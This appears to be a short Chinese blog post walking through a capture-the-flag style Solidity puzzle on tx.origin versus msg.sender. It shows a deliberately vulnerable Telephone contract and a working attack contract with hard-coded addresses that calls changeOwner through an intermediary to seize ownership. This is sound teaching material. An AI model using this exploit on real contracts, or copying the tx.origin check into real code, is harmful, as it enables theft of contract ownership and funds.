tx.origin与msg.sender

157 阅读1分钟

看一个漏洞合约

pragma solidity ^0.6.0;

contract Telephone {

address public owner;

constructor() public {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

只要让tx.origin != msg.sender就可以改变owner,因此我们只需要写一个攻击合约,让tx.origin变化。

contract attack{
Telephone tele ;
function att() public {
tele=Telephone(0x2706C1f4125c3F9D00dA054820D1bBB887e6b795);
tele.changeOwner(0xD5759D7b133E742D8D1C3784666d409385756b80);
}
function atta()public {
att();
}
}

tx.origin 表示的是触发当前函数执行的原始的交易发送者,msg.sender 表示的是调用当前函数的直接消息发送者

这个时候调用栈就是 你的账户—你的攻击合约—函数,所以攻击合约是msg.sender,tx.origin是这条交易线最开始的那个地址,也就是你的账户